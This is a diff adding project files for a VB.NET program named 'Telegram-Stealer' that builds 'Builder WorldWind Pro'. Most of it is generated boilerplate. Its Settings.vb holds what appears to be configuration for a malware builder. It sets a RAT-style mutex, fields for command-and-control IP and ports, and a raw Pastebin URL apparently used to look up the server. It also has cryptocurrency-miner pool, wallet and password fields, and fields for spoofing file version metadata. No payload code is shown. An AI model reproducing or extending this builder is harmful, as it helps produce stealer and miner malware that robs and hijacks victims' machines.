+        <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)>  _
+        Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
+            Get
+                If Object.ReferenceEquals(resourceMan, Nothing) Then
+                    Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Builder_WorldWind_Pro.Resources", GetType(Resources).Assembly)
+                    resourceMan = temp
+                End If
+                Return resourceMan
+            End Get
+        End Property
+        
+        '''<summary>
+        '''  Overrides the current thread's CurrentUICulture property for all
+        '''  resource lookups using this strongly typed resource class.
+        '''</summary>
+        <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)>  _
+        Friend Property Culture() As Global.System.Globalization.CultureInfo
+            Get
+                Return resourceCulture
+            End Get
+            Set
+                resourceCulture = value
+            End Set
+        End Property
+    End Module
+End Namespace

Telegram-Stealer/My Project/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

Telegram-Stealer/My Project/Settings.Designer.vb

@@ -0,0 +1,73 @@
+'------------------------------------------------------------------------------
+' <auto-generated>
+'     This code was generated by a tool.
+'     Runtime Version:4.0.30319.42000
+'
+'     Changes to this file may cause incorrect behavior and will be lost if
+'     the code is regenerated.
+' </auto-generated>
+'------------------------------------------------------------------------------
+
+Option Strict On
+Option Explicit On
+
+
+Namespace My
+    
+    <Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(),  _
+     Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0"),  _
+     Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)>  _
+    Partial Friend NotInheritable Class MySettings
+        Inherits Global.System.Configuration.ApplicationSettingsBase
+        
+        Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
+        
+#Region "My.Settings Auto-Save Functionality"
+#If _MyType = "WindowsForms" Then
+    Private Shared addedHandler As Boolean
+
+    Private Shared addedHandlerLockObject As New Object
+
+    <Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
+    Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
+        If My.Application.SaveMySettingsOnExit Then
+            My.Settings.Save()
+        End If
+    End Sub
+#End If
+#End Region
+        
+        Public Shared ReadOnly Property [Default]() As MySettings
+            Get
+                
+#If _MyType = "WindowsForms" Then
+               If Not addedHandler Then
+                    SyncLock addedHandlerLockObject
+                        If Not addedHandler Then
+                            AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
+                            addedHandler = True
+                        End If
+                    End SyncLock
+                End If
+#End If
+                Return defaultInstance
+            End Get
+        End Property
+    End Class
+End Namespace
+
+Namespace My
+    
+    <Global.Microsoft.VisualBasic.HideModuleNameAttribute(),  _
+     Global.System.Diagnostics.DebuggerNonUserCodeAttribute(),  _
+     Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()>  _
+    Friend Module MySettingsProperty
+        
+        <Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")>  _
+        Friend ReadOnly Property Settings() As Global.Builder_WorldWind_Pro.My.MySettings
+            Get
+                Return Global.Builder_WorldWind_Pro.My.MySettings.Default
+            End Get
+        End Property
+    End Module
+End Namespace

Telegram-Stealer/My Project/Settings.settings

@@ -0,0 +1,7 @@
+<?xml version='1.0' encoding='utf-8'?>
+<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
+  <Profiles>
+    <Profile Name="(Default)" />
+  </Profiles>
+  <Settings />
+</SettingsFile>

Telegram-Stealer/My Project/app.manifest

@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
+  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
+  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
+    <security>
+      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
+        <!-- UAC Manifest Options
+            If you want to change the Windows User Account Control level replace the 
+            requestedExecutionLevel node with one of the following.
+
+        <requestedExecutionLevel  level="asInvoker" uiAccess="false" />
+        <requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />
+        <requestedExecutionLevel  level="highestAvailable" uiAccess="false" />
+
+            Specifying requestedExecutionLevel node will disable file and registry virtualization.
+            If you want to utilize File and Registry Virtualization for backward 
+            compatibility then delete the requestedExecutionLevel node.
+        -->
+        <requestedExecutionLevel level="asInvoker" uiAccess="false" />
+      </requestedPrivileges>
+    </security>
+  </trustInfo>
+
+  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
+    <application>
+      <!-- A list of all Windows versions that this application is designed to work with. 
+      Windows will automatically select the most compatible environment.-->
+
+      <!-- If your application is designed to work with Windows Vista, uncomment the following supportedOS node-->
+      <!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>-->
+
+      <!-- If your application is designed to work with Windows 7, uncomment the following supportedOS node-->
+      <!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>-->
+
+      <!-- If your application is designed to work with Windows 8, uncomment the following supportedOS node-->
+      <!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>-->
+
+    </application>
+  </compatibility>
+
+  <!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
+  <!-- <dependency>
+    <dependentAssembly>
+      <assemblyIdentity
+          type="win32"
+          name="Microsoft.Windows.Common-Controls"
+          version="6.0.0.0"
+          processorArchitecture="*"
+          publicKeyToken="6595b64144ccf1df"
+          language="*"
+        />
+    </dependentAssembly>
+  </dependency>-->
+
+</asmv1:assembly>

Telegram-Stealer/Settings.vb

@@ -0,0 +1,213 @@
+Imports System
+Imports System.CodeDom.Compiler
+Imports System.Configuration
+Imports System.Diagnostics
+Imports System.Runtime.CompilerServices
+
+Namespace Server.Properties
+    <CompilerGenerated, GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.8.1.0")> _
+    Friend NotInheritable Class Settings
+        Inherits ApplicationSettingsBase
+        ' Properties
+        Public Shared ReadOnly Property [Default] As Settings
+            Get
+                Return Settings.defaultInstance
+            End Get
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property Filename As String
+            Get
+                Return CStr(Me.Item("Filename"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("Filename") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("Default")> _
+        Public Property Group As String
+            Get
+                Return CStr(Me.Item("Group"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("Group") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property IP As String
+            Get
+                Return CStr(Me.Item("IP"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("IP") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("AsyncMutex_6SI8OkPnk")> _
+        Public Property Mutex As String
+            Get
+                Return CStr(Me.Item("Mutex"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("Mutex") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("False")> _
+        Public Property Notification As Boolean
+            Get
+                Return CBool(Me.Item("Notification"))
+            End Get
+            Set(ByVal value As Boolean)
+                Me.Item("Notification") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("https://pastebin.com/raw/s14cUU5G")> _
+        Public Property Pastebin As String
+            Get
+                Return CStr(Me.Item("Pastebin"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("Pastebin") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property Ports As String
+            Get
+                Return CStr(Me.Item("Ports"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("Ports") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property ProductName As String
+            Get
+                Return CStr(Me.Item("ProductName"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("ProductName") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property txtBlocked As String
+            Get
+                Return CStr(Me.Item("txtBlocked"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtBlocked") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property txtCompany As String
+            Get
+                Return CStr(Me.Item("txtCompany"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtCompany") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property txtCopyright As String
+            Get
+                Return CStr(Me.Item("txtCopyright"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtCopyright") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property txtDescription As String
+            Get
+                Return CStr(Me.Item("txtDescription"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtDescription") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("0.0.0.0")> _
+        Public Property txtFileVersion As String
+            Get
+                Return CStr(Me.Item("txtFileVersion"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtFileVersion") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property txtOriginalFilename As String
+            Get
+                Return CStr(Me.Item("txtOriginalFilename"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtOriginalFilename") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property txtPool As String
+            Get
+                Return CStr(Me.Item("txtPool"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtPool") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("0.0.0.0")> _
+        Public Property txtProductVersion As String
+            Get
+                Return CStr(Me.Item("txtProductVersion"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtProductVersion") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property txtTrademarks As String
+            Get
+                Return CStr(Me.Item("txtTrademarks"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtTrademarks") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property txtWallet As String
+            Get
+                Return CStr(Me.Item("txtWallet"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtWallet") = value
+            End Set
+        End Property
+
+        <UserScopedSetting, DebuggerNonUserCode, DefaultSettingValue("")> _
+        Public Property txtxmrPass As String
+            Get
+                Return CStr(Me.Item("txtxmrPass"))
+            End Get
+            Set(ByVal value As String)
+                Me.Item("txtxmrPass") = value
+            End Set
+        End Property
+
+
+        ' Fields
+        Private Shared defaultInstance As Settings = DirectCast(SettingsBase.Synchronized(New Settings), Settings)
+    End Class
+End Namespace
+

Telegram-Stealer/Telegram-Stealer.vbproj

@@ -0,0 +1,144 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <StartupObject>Builder_WorldWind_Pro.My.MyApplication</StartupObject>
+    <RootNamespace>Builder_WorldWind_Pro</RootNamespace>
+    <AssemblyName>Builder WorldWind Pro</AssemblyName>
+    <FileAlignment>512</FileAlignment>
+    <MyType>WindowsForms</MyType>
+    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+    <TargetFrameworkProfile />
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <DefineDebug>true</DefineDebug>
+    <DefineTrace>true</DefineTrace>
+    <OutputPath>..\..\Builder WorldWind Pro\</OutputPath>
+    <DocumentationFile>Builder WorldWind Pro.xml</DocumentationFile>
+    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <DefineDebug>false</DefineDebug>
+    <DefineTrace>true</DefineTrace>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DocumentationFile>Builder WorldWind Pro.xml</DocumentationFile>
+    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+  </PropertyGroup>
+  <PropertyGroup>
+    <OptionExplicit>On</OptionExplicit>
+  </PropertyGroup>
+  <PropertyGroup>
+    <OptionCompare>Binary</OptionCompare>
+  </PropertyGroup>
+  <PropertyGroup>
+    <OptionStrict>Off</OptionStrict>
+  </PropertyGroup>
+  <PropertyGroup>
+    <OptionInfer>On</OptionInfer>
+  </PropertyGroup>
+  <PropertyGroup>
+    <ApplicationIcon>Builder.ico</ApplicationIcon>
+  </PropertyGroup>
+  <PropertyGroup>
+    <ApplicationManifest>My Project\app.manifest</ApplicationManifest>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Mono.Cecil, Version=0.9.5.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756, processorArchitecture=MSIL">
+      <SpecificVersion>False</SpecificVersion>
+      <HintPath>..\..\Mono.Cecil.dll</HintPath>
+    </Reference>
+    <Reference Include="System" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Deployment" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Xml.Linq" />
+    <Reference Include="System.Data.DataSetExtensions" />
+  </ItemGroup>
+  <ItemGroup>
+    <Import Include="Microsoft.VisualBasic" />
+    <Import Include="System" />
+    <Import Include="System.Collections" />
+    <Import Include="System.Collections.Generic" />
+    <Import Include="System.Data" />
+    <Import Include="System.Drawing" />
+    <Import Include="System.Diagnostics" />
+    <Import Include="System.Windows.Forms" />
+    <Import Include="System.Linq" />
+    <Import Include="System.Xml.Linq" />
+    <Import Include="System.Threading.Tasks" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Aes256.vb" />
+    <Compile Include="Form1.vb">
+      <SubType>Form</SubType>
+    </Compile>
+    <Compile Include="Form1.Designer.vb">
+      <DependentUpon>Form1.vb</DependentUpon>
+      <SubType>Form</SubType>
+    </Compile>
+    <Compile Include="Ico.vb" />
+    <Compile Include="My Project\AssemblyInfo.vb" />
+    <Compile Include="My Project\Application.Designer.vb">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Application.myapp</DependentUpon>
+    </Compile>
+    <Compile Include="My Project\Resources.Designer.vb">
+      <AutoGen>True</AutoGen>
+      <DesignTime>True</DesignTime>
+      <DependentUpon>Resources.resx</DependentUpon>
+    </Compile>
+    <Compile Include="My Project\Settings.Designer.vb">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Settings.settings</DependentUpon>
+      <DesignTimeSharedInput>True</DesignTimeSharedInput>
+    </Compile>
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx">
+      <DependentUpon>Form1.vb</DependentUpon>
+    </EmbeddedResource>
+    <EmbeddedResource Include="My Project\Resources.resx">
+      <Generator>VbMyResourcesResXFileCodeGenerator</Generator>
+      <LastGenOutput>Resources.Designer.vb</LastGenOutput>
+      <CustomToolNamespace>My.Resources</CustomToolNamespace>
+      <SubType>Designer</SubType>
+    </EmbeddedResource>
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="My Project\app.manifest" />
+    <None Include="My Project\Application.myapp">
+      <Generator>MyApplicationCodeGenerator</Generator>
+      <LastGenOutput>Application.Designer.vb</LastGenOutput>
+    </None>
+    <None Include="My Project\Settings.settings">
+      <Generator>SettingsSingleFileGenerator</Generator>
+      <CustomToolNamespace>My</CustomToolNamespace>
+      <LastGenOutput>Settings.Designer.vb</LastGenOutput>
+    </None>
+    <None Include="App.config" />
+  </ItemGroup>
+  <ItemGroup>
+    <Content Include="Builder.ico" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+</Project>

Telegram-Stealer/bin/Debug/Telegram-Stealer.vshost.exe.config

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+    <startup>
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
+    </startup>
+</configuration>

Telegram-Stealer/obj/Debug/Builder WorldWind Pro.xml

@@ -0,0 +1,24 @@
+<?xml version="1.0"?>
+<doc>
+<assembly>
+<name>
+BuilderWorldWindPro
+</name>
+</assembly>
+<members>
+<member name="P:Builder_WorldWind_Pro.My.Resources.Resources.ResourceManager">
+	<summary>
+  Returns the cached ResourceManager instance used by this class.
+</summary>
+</member><member name="P:Builder_WorldWind_Pro.My.Resources.Resources.Culture">
+	<summary>
+  Overrides the current thread's CurrentUICulture property for all
+  resource lookups using this strongly typed resource class.
+</summary>
+</member><member name="T:Builder_WorldWind_Pro.My.Resources.Resources">
+	<summary>
+  A strongly-typed resource class, for looking up localized strings, etc.
+</summary>
+</member>
+</members>
+</doc>

Telegram-Stealer/obj/Debug/Telegram-Stealer.vbproj.FileListAbsolute.txt

@@ -0,0 +1,39 @@
+C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbproj.GenerateResource.Cache
+C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbprojResolveAssemblyReference.cache
+C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro.exe.config
+C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Form1.resources
+C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Resources.resources
+C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.exe
+C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.xml
+C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.pdb
+C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro.exe
+C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro.pdb
+C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro.xml
+C:\Users\SPD-Tech\Desktop\Nouveau dossier\Builder WorldWind Pro.exe.config
+C:\Users\SPD-Tech\Desktop\Nouveau dossier\Builder WorldWind Pro.exe
+C:\Users\SPD-Tech\Desktop\Nouveau dossier\Builder WorldWind Pro.pdb
+C:\Users\SPD-Tech\Desktop\Nouveau dossier\Builder WorldWind Pro.xml
+C:\Users\SPD-Tech\Desktop\Nouveau\Nouveau dossier\Builder WorldWind Pro.exe.config
+C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.exe
+C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.xml
+C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.pdb
+C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.exe.config
+C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.exe
+C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.pdb
+C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.xml
+C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbprojResolveAssemblyReference.cache
+C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Form1.resources
+C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Resources.resources
+C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbproj.GenerateResource.Cache
+C:\Users\SPD-Tech\Builder WorldWind Pro\Builder WorldWind Pro.exe.config
+C:\Users\ECS\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.exe.config
+C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.exe
+C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.xml
+C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.pdb
+C:\Users\ECS\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.exe
+C:\Users\ECS\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.pdb
+C:\Users\ECS\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.xml
+C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbprojResolveAssemblyReference.cache
+C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Form1.resources
+C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Resources.resources
+C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbproj.GenerateResource.Cache